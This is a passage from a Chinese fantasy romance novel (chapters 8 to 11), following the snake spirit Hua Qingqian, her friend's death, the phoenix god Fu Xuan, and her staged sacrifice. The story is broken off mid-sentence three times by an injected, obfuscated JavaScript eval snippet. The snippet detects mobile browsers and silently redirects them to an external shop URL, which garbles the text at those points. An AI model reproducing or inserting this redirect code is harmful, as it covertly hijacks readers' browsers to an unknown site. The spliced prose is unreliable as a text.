花清浅嘿嘿一笑,放出大话道,“修炼苦功都在平时,我从不临时抱佛脚。” 不过,前提是蛇王不耍阴招。她维持着团成一团的姿势左右滚了滚,似乎被傅玄的话点醒,从榻上一跃而起:“你说得也有道理,我这就回西谷去备战!” 傅玄由着她起身,在她走出门口的一瞬间叫道:“花清浅。” 她状似迷茫地回过头:“啊?神君这就开始舍不得我啦?” “……我给你的纸鸟,现在还给我,明日比试时再用。” 花清浅的确准备带着纸鸟,到南谷找丹虺先发制人去。不知傅玄怎么就把她的心思拿捏得一清二楚,她撇撇嘴角,不甘心地道: “就算我不使坏,谁能保证丹虺那伙坏蛇不偷袭呢?他们万一来西谷伤我怎么办?” “我已经叫普化天尊去了蛇谷。放心,不会有事的。” 普化天尊神霄玉清,有他坐镇,蛇王大约真的不敢轻举妄动。得了他这句保证,花清浅便放下戒心,右手轻巧一抛,把纸鸟抛回给傅玄怀里。 “今晚我就在西谷安歇啦,你可不要想我想得睡不着觉。”她笑嘻嘻地调戏了一句,转身出门。 傅玄只觉耳尖微烫:“我自然不会——” “别嘴硬啦,你就是会想我的,我知道你喜欢我,你不说我也知道!”花清浅头也不回地欢快说道,傅玄看着她笃定的背影,也柔和了眉眼。 他自上古孑然一身,从不会说情话,曾被女娲娘娘感叹是孤独一生的面相。 可是他如今遇到一条小花蛇,小花蛇不嫌弃他不会说话,也不嫌弃他脾气孤僻,她说,她清楚他的心思,他不说她也知道。 8. 第8章 花清浅放心大胆地回到西谷,之后发生的事情恍若一场恶梦,如今梦中重温,简直像是将血淋淋的伤口又撕开一遍。 蛇□□虺果真前来偷袭,玉京子被火术灼成重伤,而傅玄保证过的普化天尊却是迟迟不见踪影; 她试图搬出神君警告他停手,丹虺却像听到了什么好笑的事情一般,仰天大笑不止。 “你当真觉得,那凤凰神君会为了你一介卑贱小蛇出手?”他笑得上气不接下气,极尽讽刺之意: “花清浅,你可真会自作多情!” 为了确保花清浅第二日参加不了比试,丹虺还把她关进了结界,最后是在单方寸的救助下她才逃了出来。 而那个时候,玉京子被潦草扔在西谷的石地上,已然奄奄一息。 花清浅看着以前的那个自己痛哭着跪倒在地,小心翼翼捧起玉京子碎裂的头骨,疯了一样喊他的名字。 她想带他去寻医,可玉京子的妖丹已经离体,从蛇尾部分开始一点点地消失。在最后时刻,他看着花清浅的眼睛,对她露出一个笑容: “不要哭、清浅,你哭起来,好……” 就算是在梦里,她也能清晰记起,在看到玉京子神魂尽散的那一刻是什么心情。 玉京子从小被坏蛇欺负,性子胆怯懦弱,但只要是涉及到她的时候,他总会莽撞又不计后果地为她出头; 他对丹梁一往情深,可当丹梁与她起了罅隙时,他毫不犹豫就放弃了丹梁; 他心疼她对神君一厢情愿,总劝她要不然算了,他们离开西谷,一起开开心心去凡间过普通蛇的日子…… 如果她能听他的话,早些放弃傅玄,或者不顾神君劝阻,先发制人冲丹虺下手,他是不是就不会有今日这个结果? - 水月镜可回溯往事,但映照出的一切都只是镜花水月,虚无缥缈,更改不得。 傅玄每日在水月镜前流连,却并不单单想要回溯往事;他的记忆纤毫毕现,连花清浅某夜睡觉时穿的中衣是什么颜色都清清楚楚,根本没有必要借助水月镜。 他就是想改变往事。 就像他不善言辞,矜持怯懦,没有及时回应,教她伤了许久的心; 再就像盘龙岗魔族封印被打破的那一次,神霄玉清率雷部前往除魔,叫他一同助阵,加固完封印后他才想起来什么,一把抓住神霄玉清: “马上就是蛇族少主比试,你有没有在蛇谷安插上神,监督众蛇?!” 神霄玉清茫然摇摇头:“没有啊,怎么了?一群蛇族而已,就算我不在,他们又能闹出什么风浪?” 傅玄立刻闪身前往蛇谷,却还是晚了一步。 无论他倒灌多少神力进镜,总是来不及,总是只能看到花清浅抱着玉京子失声痛嚎,玉京子神魂化灰,在她怀里一点点消失—— “神君。”她看到他来,满脸泪痕,木愣愣地说道,“我要杀了丹虺和他的走狗,你帮不帮我?” 满地狼藉血迹,不难猜出事情经过,傅玄看着她满身的伤,心里一阵细密的疼痛:“我先给你治伤——” “我不要治伤,我要为玉京子报仇!你帮不帮我!”花清浅嘶声大吼,傅玄固执将神力注入她的身体,她近乎崩溃地挣扎着,但还是被他固定在原地,伤口一瞬间恢复弥合。 疗伤结束,她恢复自由便想也不想地转身,傅玄在她身后问:“你干什么去?” “你不帮我,我就自己去杀了丹家,竹家,还有他们的蛇仆……他们都该死,都该为玉京子陪葬!” 眼见她身体已经没有伤痕,却还是摇摇欲坠,傅玄飞身上前扶住她,却惊讶地发现她的眸子已变成一片血红。 这是即将入魔之兆! “你冷静些!”他一声厉喝,“满心杀伐,道心不稳,何以飞升?” 花清浅毫不犹豫:“那我就不飞升又如何!” “我拼了命提升修为,飞升成仙,到底又能怎样?有些人生来就是上神,他们什么也不用做,就已经在我一生努力的终点了!” “现在玉京子死了,他是我最重要的人,不能给他报仇,便是飞升做神仙又有什么意思?我就是自爆妖丹,也要丹虺他们血债血偿!” 她越说越激动,傅玄怕她当真迷失心智,忙送入一道清气到她心脉里,强行驱散心魔,使她镇静。花清浅软绵绵倒进他怀中,他抱着她柔若无骨的身体,微微叹了口气,闪身回到长生界。 - 傅玄原本想一直守在她身边,等着她醒来,再跟她好好商量蛇王的事,却恰逢神霄玉清传来玉牌,盘龙岗出逃的魔族有漏网之鱼,李家湾一村百姓已惨遭荼毒。 他来不及多想,立刻前往李家湾协助除魔,回来的时候万幸花清浅还在,只是她双眸失神,神情比之前还要萎靡灰败。 他问她可有冷静一些了,她不回话,反而没头没脑地忽然反问:“神君,日月潭所显示的未来一定是真的么?” “未来之事千变万化,潭中所示只是其中一个分支。” “所以是真的么?” “……是。” 其实那日月潭乃是创世神所制,若是凤凰、应龙等上古真神带着心魔去看,潭水中反射出的便不是未来,而是激荡的心魔。 但花清浅才刚刚因出身、上神这些愤懑不已,傅玄心知,还是不要刺激她为好。 听了他的话,花清浅脸上竟浮现出一种释然的神色,她闭了闭眼,笑道:“也好……那也果真是你能做出来的事。” 傅玄猜测:“怎么忽然想起来问这个,你是在日月潭中看到我了吗?我做了什么?” “你做了……你应该做的事。” 那时傅玄还听不明白她这句话,现在想来,她指的应该是上古邪魔缇阎进犯时,他没有去救她,反而救了神器榠壶的事。 花清浅说完这句话,扯了扯嘴角就要离开,傅玄上前一步,拉住她的手:“你要去哪里?” “我要去蛇谷。”她说,“我要给玉京子立冢。” 妖族的死亡是神魂俱灭,一丁点尸首都不会留下,故蛇谷以前向来无冢。可玉京子喜欢凡间,花清浅就要守凡间规矩,替他立一个衣冠冢。 傅玄点头:“我与你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068728|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起。” “神君是担心我刺杀蛇王一伙?”花清浅勾出一抹讽刺的笑意,“大可不必,我不敢想着杀他报仇了,这条命我还是要的。” 傅玄只以为她在撒气,安抚她道:“我同你一起去给玉京子立冢。” “他生前就不喜欢你,死后估计也不想在坟前看到你。” “那我远远跟着你。” “……”花清浅看着他的俊脸,不知怎的,心底忽然充满烦躁。 她忽然记起和玉京子去云廷玉城游玩的那一日,他们碰见了在此地出借离火的凤凰神君,那是她与神君为数不多的、货真价实的偶遇,还正好撞见神君打理羽毛,他四指并拢往下一扫,下手像是有点重,一根尾羽随着他的动作掉了下来。 凤凰神君的一根尾羽,可抵寻常妖族修炼千年的功力,方圆百里的妖族都蠢蠢欲动,只有花清浅一个不要面皮地扑了上去,求神君让她捡走尾羽。 那根尾羽并没有被她克化掉,而是放在她的乾坤袋里,每次看到这根尾羽,想起神君低头对她说的那声“可以”,她就能高兴得左脚踩右脚。 那时她能开开心心欣赏他英挺的眉目,如冰的目光落在她身上都觉得受宠若惊。 可是如今,她一看到傅玄,想起的只是玉京子临死的惨景。 从今往后,她怕是再没有欣赏他容颜的心情。 - 傅玄陪着她给玉京子立了冢,便要将她带回长生界。 “我不想去长生界,神君不用管我了,我想在蛇谷呆着。” “蛇谷不安全。” “那我就去凡间,丹虺绝对找不到我的地方。” “我跟着你。” 花清浅忍了又忍,终于忍不住爆发:“我就是不想与你呆在一处!” 傅玄睁大眼睛,一时不知所措地看着她握紧双拳,身子往后缩着,仿佛对他既怕又恨: “我不想飞升了,也不想再要你,你做你光风霁月的凤凰神君,我做我阴暗无耻的卑鄙小蛇,互不牵扯不行么?!” 傅玄知道她在因玉京子自责,也在因此迁怒他,忽略了心尖上传来的惶恐不安,轻声哄着她道: “近日魔族猖獗,长生界外都不安全,凡间也有魔族出没……听话,跟我回长生界吧。” 她还是不肯随他回去,他上前一步,不由分说抓住她的手。 “你放开我,我宁可被那些魔族吃了,好歹能与玉京子泉下相见!” 傅玄看着她抿了抿唇,目光里的疼惜与愧疚如碎冰般浮出。 花清浅低下头不去看他,只重复道:“让我走,我不要与你呆在一处。” 傅玄没有说话。花清浅仍是低着头,懒得看他的表情,于是天地肃静,只有微微变了节奏的呼吸声昭示着他还在她身旁。 过了许久,他才藏起受伤的神色,声线平稳地道:“好。等你安顿好我就走,你一个人在无量崖修炼静心。” “我不要住你的私人巢穴。” “可是你从前说过,你最喜欢我搭的窝——” “我现在不喜欢了!” 9. 第9章 花清浅似是当真排斥与他有关的一切事物,傅玄静静看着她苍白倔强的侧脸,他为她治好了所有的暗伤,还偷偷给她渡了不少修为,可她看起来还是那么脆弱,仿佛一碰就能碎掉。 他别无办法,只好抛出她目前唯一在意的事:“你可知道,妖族死后魂片当归往何处?” 花清浅猛地抬起头。 “魂片?那是什么?”妖族死后残躯不剩,神魂尽碎,哪会留下什么东西? “你跟我回长生界,我慢慢说与你听。” 回到长生界,花清浅仿佛被抽干所有力气一般,走路都是跌跌撞撞,傅玄下意识伸手,扶住她纤细柔软的腰身。 克己复礼,克己复礼。 他像以往无数次压抑地默念,但还是没有放开手,一直把她扶进庞大的山巢。见她乖乖在巢里躺下,他遵守诺言,说起本只有创世神才清楚的秘辛: “妖族灭亡时的确神魂尽碎,但大道五十,天衍四九,万物都留一线生机。碎裂的妖族魂魄会集结成魂片,上古时由孔雀族收集保存,更有‘孔雀展屏,复生妖灵’之传——” “真的?”花清浅激动打断道,“你的意思是,玉京子是可以死而复生的,只要我找到孔雀族就行,对不对?” 傅玄看着她重又恢复几分血色的朱唇,说不清是什么感受,摇了摇头。 “从上古至今,孔雀族逐渐衰落,收集的魂片大不如前,常有疏漏,展屏复生的本事也早就失传了。”他轻声说道: “我的意思是,逝者已矣,但我可以陪你去孔雀大明王的洞府,若他有收到玉京子的魂片,我们就向他讨来,权当做个纪念。” 其实他轻飘飘说了什么,花清浅全然没再听了。她满脑子想的都是玉京子能死而复生,她一定要拿到魂片、让他复生—— “清浅!勿要入了迷障!”傅玄似是猜到她心中所想,疾声道:“我告诉你这些,是为了教你放下执念、参透轮回,可不是教你入障的!” 花清浅胡乱点了点头:“我知道了。” 他仍定定看着她,她实在怕他追究不休,便装模作样打了个哈欠,像是真的对魂片失去了兴致。为了引开他的注意力,她还生硬地扯了个不相干的话题: “神君,为什么你对坏人那么好,对丹虺轻轻放过,反而对我总是苛刻?” 为何对她总是苛刻? 他对她苛刻吗?傅玄顿了一顿,有些茫然,眼下他拦着她,不叫她杀个痛快,也是为她着想,她竟觉得苛刻…… 也是,她还是条小蛇,不懂得许多道理,他教给她就是。 “丹虺犯下大错,自有天道审判。我不是放过他,只是不想你动用私刑。” “你日后要做蛇王,得位须正,心地须宽怀容人,体恤万民,方能长久立于天地之间——倘为一蛇而暴戾偏狭,太不择手段,不是仁君。” 过了良久,久到傅玄以为花清浅已经睡着,才听到她梦呓一般说了一句: “……那我就,不当蛇王了罢。” 听得出来,她的语气不像是赌气,她是认真的。 傅玄胸口一滞,莫名沉得发疼。 为之努力了那么久的蛇王之位,她嫌规矩多,居然说不要就不要。 那他这个神君,她是不是也一样能轻易放弃? 他想开口问问她“那我呢”,又怕听到肯定的回答,闭了闭眼,还是没有说出口,而是说道:“那我走了,你在此好好休息。” 不等花清浅回答,他黯然闪身消失在原地。真神施术一向干净利落,现下离开得太快,却很像是落荒而逃。 - 天历五十六万五千年,上古邪魔缇阎解封,祸乱五十万凡人入魔,协同魔物重返世间。 这缇阎原本也是古神之一,因对长生有过分执念,不惜以他人精魄养魂,故堕落成魔,被凤凰神君亲手封印于盘龙岗底。 说来好笑的是,缇阎为神时总觉得魂魄在衰老,被封印了数十万年出来,音容笑貌倒仍是一如往昔,很难说他求长生没有成功。 俗话说冤有头、债有主,且凤凰神君本人就蕴藏着长生之秘,缇阎对什么仙界神界鸟都不鸟,率着人魔、魔兽加起来近百万的魔军就攻进了长生界。 于是这日花清浅正在梦里筹划玉京子的复生大业,还没复生成功,就被无量崖禁制破除的惊天声响吵醒了。 好在无量崖到底是凤凰的私巢,禁制与他心神相连,几乎在缇阎率领魔物倾巢而入的同时,遮天蔽日的金红身影从天而降。 这一瞬,时间忽然变得极为漫长,所有魔物仿佛被钉在空中,不能有一丝动作,只能眼睁睁看着离火如闪电般朝八方汹汹炸开,带着极度的光和热,只听得一阵地动山摇,无量崖内、乃至不老泉边皮糙肉厚的魔兽被摧枯拉朽即刻成灰,临死前发不出哪怕一声哀嚎。 缇阎也被他这一击喝退,倒飞出几百丈去,好容易才稳住身形,吐血不止。 花清浅还是第一次看神君打这么猛的架。她看着凤凰利爪落地化人,不过一息之间,而魔物已被灭去大半,不由深深感叹,上古真神的战斗力就是不一样。 天界大军紧随傅玄前来除魔,但还没等他们出手,泱泱百万魔军多数已成了灰。天军面面相觑,只好离开无量崖,前往日月潭等地,寻找躲进水里逃过一劫的漏网之魔。 神仙打架,本就没有花清浅参与的必要,如今天界大军一到,她更觉得自己该继续躺着了,但刚要躺下的时候,她却隔着梧桐枝叶看到了一个人的脸。 那是一张她做梦都想挠花的脸,眼睛狭长,下巴尖翘,即使已经化蛟,人形还总是一股蛇精相,正是蛇□□虺。 丹虺怎么来了?他什么时候进的天军,这么能耐? 不管他是不是天军,花清浅只看到了复仇的机会。她猫起身子,纤长十指缓缓摆动,控制灵力隔空抽出近处的清水,化水为冰,凝结出数十根锋利的冰针,瞄准丹虺的妖丹所在,从他背后无声无息刺过去。 她几乎都看到了他妖丹碎裂的惨状,但很可惜,在冰针刺入他后背的前一秒,丹虺体内忽然冒出一大股黑雾,吞噬了所有冰针,他本蛇毫发无伤。 这是入魔之相!花清浅心底暗呼,而与此同时,丹虺也通过灵力波动确定了她的方位,朝梧桐枝叶这边投来阴森森的一瞥。 花清浅才不怕他,傅玄就在近前,她扒开梧桐枝叶,冲他大喊:“丹虺入魔了,快杀了他!” 傅玄一愣,还没来得及动作,就听身后传来缇阎的声音: “看来我真是睡得太久,万年铁树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068729|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凤凰都开花了,竟在窝里藏了这么个小美人。啧,这都同床共枕了,怎么没请老朋友喝桌喜酒?” 傅玄没有废一句话,执起金羽便攻了上去,很快与他缠斗在一处。丹虺趁机溜了,花清浅下意识想追,但从无量崖边又涌来潮水般的魔物,挡住了她的去路。 缇阎被封印得太久,自然打不过傅玄,一路且战且退,一直退到无量崖边的隔间墙下,他黑气隐隐的脸上居然浮现出一抹笑意,看向傅玄身后。 傅玄下意识回头,看到缇阎的分身之一抓住了花清浅,嘴角咧开到黑洞洞的耳蜗,喉咙里魔焰火星四溅,威胁之意满满; 另一边,存放神器的乾位隔间大门被魔兽自爆轰烂,他的分身之二直直抓向一个毫不起眼的水壶—— “哎呀,神君怎么选呢?你的天赋是长生,可不是分身,估计只来得及选一个了哦。”缇阎笑得猖狂,他自知有傅玄在,长生幻梦只能彻底化作泡影,如今死到临头,若不能毁灭世界,能带走傅玄的小心肝陪葬也是好的。 傅玄看了一眼即将葬身火海的花清浅,义无反顾、毫不犹豫地扑向了那只神器。 - 被魔焰吞噬全身的前一刻,花清浅脑子里走马灯般过完了她短短一百五十年的蛇生,最后认命地发现,有三分之一的时间都浪费在了一件荒谬绝伦、没有意义的事上。 凤凰神君心怀大道,并无私情,小龙王岐深警告过她,玉京子提醒过她,他甚至亲口告诉过她,可她就是不信。 非要傻兮兮对人家求偶,非要不撞南墙不回头,撞得头破血流,这扑面而来的魔焰仿佛是她应得的教训。 她认命,可她不甘心。 她不认识那枚灰扑扑的小壶是什么神器,值不值得让她以死代替,但无论如何,她不甘心就这么死了。 她痴迷情障、强求神君,得此苦果是她自作自受。但玉京子还没有复生,她还没有赎罪,她怎么能如此窝囊地死在这里—— 仿佛是从心底深处燃起一股狠劲,她拼尽全力调来方才用作化针的清水,攻向缇阎分身喷火的骇人口唇,同时手召石棍,狠狠打在他抓住她的指甲上,趁他松懈了力道的瞬间撑地后撤,滚离了魔焰喷射的边缘。 这回当真死里逃生,她还有些震惊:虽说这缇阎分身不是本体,但他好歹也是上古邪魔,怎么会这么好打?还有,她被他的魔焰真真切切地烧着了,这会却怎么一点伤都没落下? 情况紧急,花清浅也来不及细想,只顾往旁边跑开,另一边傅玄已将缇阎本体彻底击溃,分身顿时消失得无影无踪。 傅玄再次朝她望过来,薄唇微启,像是要说什么,可花清浅不想听他说话。 她想杀了丹虺,杀了他掌控下的丹家和竹家,她想让玉京子复生,她想离开长生界、离开傅玄,和玉京子在凡间赏花饮酒,逍遥风流。 可丹虺已经入魔,眼下又已趁乱逃走,她连如何追踪他都不知道; 傅玄认为她对玉京子的执念是“迷障”,定不会允许她的复生大计; 傅玄虽对她无情,可相处这么久,对她却有一种莫名其妙的保护欲,有他在侧,她也未必能离开长生界…… 等等,花清浅看着无量崖边眯眼射箭的魔兽,忽然灵机一动,想出一个一箭三雕的主意。 10. 第10章 有次紫梵星君堕魔犯天,傅玄前去应战,花清浅听闻紫梵藏有一柄神鬼难逃的巨魔弓,吓得茶饭不思,跑去岐深宫里等消息。当时神霄玉清正巧与岐深一同享用冰糖坚果葫芦,闻言笑道: “区区魔矢伤不到凤凰神君,尽管放心。但那魔矢射妖丹可是一射一个准,你可千万别上赶着凑近观战啊。” 区区魔矢是伤不到凤凰的。她知道,可神君不知道她知道。 花清浅瞅准时机,手上暗地里掐了个诀,朝傅玄飞扑而去,等确认那根飞来的魔矢已刺进了她的“妖丹”,才焦急万分地喊出一声:“神君小心——” 傅玄回过头。 没有给他任何挽救的余地,花清浅完美地挡下了这一箭,血雾飞溅,她被箭矢的冲击力带得往前一扑,正好扑进他张开的怀里。 耳边忽然从哗然嘈杂变作一片死寂,花清浅后知后觉意识到,周遭的一切都停止了,这次不同于凤凰入巢时短短的一刹那,是实实在在的时间静止。 神君果真神通广大,施救万民,可惜没用,她一心求死,他救不了。 估计是施展的法术太耗费神力,傅玄脸色微微发白,他小心翼翼托着她的上半身,另一只手抓住她的手腕,像是想探她的脉搏。花清浅看着他,费力地弯出一抹笑。 “神君,你是个很好、很好的神仙……” 真的,凤凰神君是那样好的一个神仙,庇护众生,慈悲为怀,高高立于神坛之上,不染红尘,也本就不宜沾染红尘。她却不自量力,对他生出亵渎之心,一开始就是她错了。 “……其实我心里清楚,玉京子之死,与你不相干,我不该对你发脾气……” 是她修为敌不过丹虺,粗疏大意,才害得玉京子惨遭毒手,怎么说也怪不得神君,怪她自己而已。 “……可是、可是我没有说谎,蛇□□虺他入魔了,是他与魔物勾结一气,长生界才会遭此一劫,祸乱全因此蛇而起,神君,你要信我。” 其实丹虺只是入魔,有没有与魔物勾结却有待商榷,花清浅加诸罪名,只是为了确保他万劫不复。但这绝不算诬告,因为蛇之将死,其言也善,谁会在遗言里还惦记着诬告他蛇呢? 傅玄对她点点头,她以为计划成功,窃喜之余却听他说道:“你再坚持一会,马上就没事了。你一定会没事的——” 这是什么话,她妖丹都碎了,怎么会没事?花清浅心中狐疑,看向被他抓住的手腕,这才发现他在给自己筋脉中不要命一般地注入神力。 ——夭寿啊,她怎么就没算到傅玄有如此能耐,他这是打算用神力给她再造一个妖丹吗? 这、这万万不可啊! 妖丹破碎是假的,可她身中魔矢的疼是真的,废了这么大劲,被他一挥手又绕回去,那还得了! 花清浅顿时焦躁起来,不过重塑妖丹好像也不容易,看傅玄神力消耗巨大,面上都开始滴汗了。她稍微安了些心,但还是不敢冒险,干脆将心一横,从他掌中扯出自己手腕,断开了神力连接。 “清浅!”傅玄惊慌失措叫出声来,花清浅看到他脸上血色尽失,觉得这张俊脸似乎变得有些陌生,过了片刻才想明白,大约是因为她从没在他脸上看到过这般神色。 “清浅,别闹了,把手给我!” “不要为我浪费神力啦,神君。我不配的。”她睁大眼睛,神情真挚地道: “其实、其实今日这个结果,是我求仁得仁,你看,毕竟我早知道,神君爱的是众生,不是我这条阴、阴暗,自私的,小花蛇……可我就是,痴心妄想……” 在花清浅的小小计划里,这场遗言的氛围应该是悲伤、豁达而又不失坚强开朗的,她的语气应该是平静释然、让人闻之起敬的,最重要的一点,就是她不想当怨妇,与神君道别绝对不可以哭。 可说到最后,她还是控制不住眼眶一热,声音里带了哭腔。 是,一切都是她求仁得仁,是她咎由自取,可她还是觉得委屈。 这是她破壳后第一次求偶,没有人来教她要如何挑选对象,她就凭着本心挑上了最好看的那一个。 挑定了她就不换了,因为她是一条痴情小蛇,而凡间话本里的痴情女子总会等到郎君回头的。 可是她等啊等,期间用尽了所有办法,耍了入流不入流的所有小心思,吃了那么多苦头,到今天才发现,话本里是错的,看客们说的才是对的。 从一开始,她就挑错了人…… 傅玄嘴唇张合,似乎说了什么话,但花清浅已经听不到了,只看到他清冷如万年寒井的眸子蓦然蒙上一层厚雾,凝出滚烫的泪水,一颗颗全滴到她身上。 这么多凤凰泪啊,用来救别的人多好,她颇为可惜地想道。 此时神力终于支撑不住,时间重新开始流淌,花清浅挽成两束的长长青丝化为飞灰,声音很轻很轻,同她的神魂一样飘散在风里:“打扰神君许久,实在抱歉……” 傅玄其实有许多疑惑,她为何要甩开他的手,为何说他不爱她,为何要道歉? 可花清浅就在他眼前神魂尽散,他脑子里“嗡”地一声,就此变成一片空白,什么都问不出口,什么都来不及说,他只能眼睁睁看着花清浅离他而去,看着她秀美的颈窝、略尖的下巴、眼角那一点泪痣都逐渐随风而逝,他的怀抱一点点、一点点地变得无比空洞,她走得干干净净,唯有一只他提前放在她身上保护她的纸鸟留了下来。 他神力挥霍到近乎崩溃,却留不住她一缕魂魄,他有生之年第一次生受如此之浓重的哀恸,痛苦到极致,却不知如何压制,只绝望嘶哑地唤着花清浅的名字,字字啼血。 凤凰哀鸣,声遍四野,天下百鸟悚然而泣,神霄玉清察觉情况不对,亲自赶到无量崖,看到傅玄怀中空空,心头血从嘴边不住溢出,当下也是一惊。 “这是怎么了?”他连忙问道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068730|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “缇阎逃走了?还是榠壶被毁了?” 傅玄没有看向他,他眼中已无冰火一般的神采,仿佛一切都不再重要,他听不到神霄玉清的问话,也听不到天兵代他回答了什么。 他保持着狼狈的姿势跪倒在地上,不在意神霄玉清带着了悟和怜悯的目光,他不在意任何事了,他只知道他疼得快要窒息,只剩下一个念头。 ——无论如何,无论如何,他一定、一定要找回花清浅,不计一切后果,不惜一切代价。 天历五十六万五千年,蛇族原蛇□□虺勾结魔族,被处以剥皮抽筋、妖丹生剖之刑,由凤凰神君亲手缉拿行刑;蟒蛇单方寸位晋蛇王,蛇族不再依附天界,自此独立于兰铁山。 同年,凤凰神君傅玄宣布闭关,重明宫增设轮回殿,里面放满了妖族起死回生、重塑亡魂的偏道密法。 八十一重天之上,所有人都知道,凤凰神君有个情深意笃的蛇妖妻子。 据说那蛇妖痴恋神君,以身为神君挡了一箭,不幸逝世,神君苦苦求索五十年,如今失去她的时间和得到她一样久,却仍连她的半块魂片都没有找到。 - “求仁得仁、毫无怨言”,这是花清浅给这段往事奠定的基调。 诚然,她从来不算是一条宽容豁达、善良无私的小花蛇,恰恰相反,她小心眼子得很。若玉京子不能复生,她好歹要把自己付出过的一切都讨回来,把送给傅玄的所有物件全都烧了祭给玉京子,以告慰他在天之灵。 但是嘛……她之所以知道玉京子魂片犹在、复生有望,也是多亏了神君。 故而她对神君心死如灰不假,倒也没有因爱生恨,这些年又经历过几次求偶与被求偶,在跌宕起伏、酸甜有加的情史中,她也逐渐认清了自己的本性。 她其实是一条花心又薄情、贪恋还嫉妒的小花蛇,爱上头时要死要活,那股劲儿过去了也就过去了,什么求偶生蛋,都不如她的小功德金库重要。 ——说起功德,其实花清浅一直没在意过这个,可自从离开蛇谷后,天雷老时不时追着她劈,她就不得不在意了。 一开始,她以为是自己欺骗了神明,所以天要罚她;后来才思量过来不对,天道怕是察觉出她逆天而行、想要复生玉京子的算盘,想扼她这孽举于胚胎之时! 花清浅自然不会乖乖放弃,此时摆在她面前有两条道:其一是收集功德金光,有足够功德护体,天道或可对她睁只眼闭只眼,这是有先例的; 其二就是入魔,为魔者不受天道约束,残害苍生、以血养魂什么都能做,就是容易被天界发现,然后按作乱次数酌情被封印、镇杀。 花清浅选择了收集功德,这并不是因为她怕天界,而是因为……入魔之后的妖时不时黑气萦绕,看上去丑丑的,她一辈子都要做美人蛇,可不想变那么丑。 而且丹虺就是蛇妖堕魔,她死也不要跟他一样。她想起来这蛇就恶心。呕。 11. 第11章 六月的慕城雨水丰沛,草木经过细软雨丝润泽,绿得盎然活泼,虽说热了些,但意境却比三四春月还要繁盛许多。 在这一片生机盎然的绿里,几道胖墩墩的小身影闪动着透明翅膀匆匆赶路,对于偶尔蹦出来拦路的蟋蟀、螳螂,他们也很少与之打架,都是能给花蜜打发就给点,力求避免冲突。 “熊蜂温顺可欺的名声就是这么传出去的······”宽大草叶后,一个同样有点胖乎乎的小毛团不满地嘀嘀咕咕道,“他们屁股上的刺是长来干什么用的,这都不蜇?” 在她身边立着一只眉眼清秀的小人,比她高一头左右,闻言笑道:“你同族做得对,惜蜜,你我这些小虫灵、小花灵法力低微,在外本不应该树敌的。” 惜蜜却哼道:“我不管,反正我的刺可长了,那群坏东西要是敢打劫我,我就使劲蜇,蜇蜇蜇蜇死他们!” 惜蜜是一只熊蜂,有着熊蜂一族普遍有的大眼睛、蓬松毛毛、透明翅膀,还有着族里罕见的火爆脾气。 她旁边的小人叫做子华,他是一朵不知名的紫色小花化灵,两人从小在慕城南郊一起修炼,但南郊近日要建一个佛庙,当地官员知道此处妖灵众多,恐怕冲撞了佛祖,便请修士来把他们驱赶到别处去。 有些妖生性反骨,就要在南郊扎根,天天跟方士们斗法。 而熊蜂一族向来逆来顺受,走得最快,子华也很想走,可他的本体是花,挪动起来很是费劲,惜蜜陪在他身边,两人走得就比较晚,现在回目眺望,还能看到修士们的白色灵光。 “子华,你有没有闻到一股甜香气?”惜蜜忽然问道,脑袋朝上,使劲吸着空气,“我好像闻到了蜜的味道!” 子华没有闻到什么味道,可惜蜜越嗅越肯定,她循着气味的来源飞过去,却发现那是一大团树脂,马上要掉落在子华的身上—— “躲开!”她敏捷地扑扇着翅膀俯冲下去,将他推离原地,自己却被树脂结结实实盖了一身,连呼吸都被堵住,子华像是要救她,可随即上边又落下大片大片的泥土和石块,惜蜜的视野很快变成一片黑暗。 - 花清浅从梦中醒来,看见玉京子正在凉亭里摆饭。 这些年来,她一睡觉就做梦,梦里全是往事,为了清梦,她用过捕梦网、抓过梦魇妖灵,通通无效。睡着后的世界仿佛不受她控制,自顾自地要带她回到那些与凤凰神君日夜相处的岁月。 烦死了。 她压下这点烦躁,手指点了两副碗筷飘到凉亭里,问玉京子:“今日买了什么?” “几张萝卜丝饼,红油小面,还有几样小菜。”他舔舔嘴唇说道,“一不留神就把你给我的钱全都用完了。这凡间的吃食花样可真多!” 花清浅打了个哈欠:“那就开饭吧。” 她夹了个萝卜丝饼,仔细看了看,嫌弃道:“这萝卜丝有点粗了。下次我给你做一个,我做凡间菜有一手呢,不比什么酒楼的厨子差。” “真的?”玉京子惊奇地看向她,“你怎么还会做菜?你这么……” 花清浅没听清,将耳朵凑过去,“我怎么?” “……你这么漂亮,法力又这么高深。”在玉京子的想象里,像她这样的极品美人蛇应该有无数妖族追着求偶,应该是那些人来给她来做菜才对。 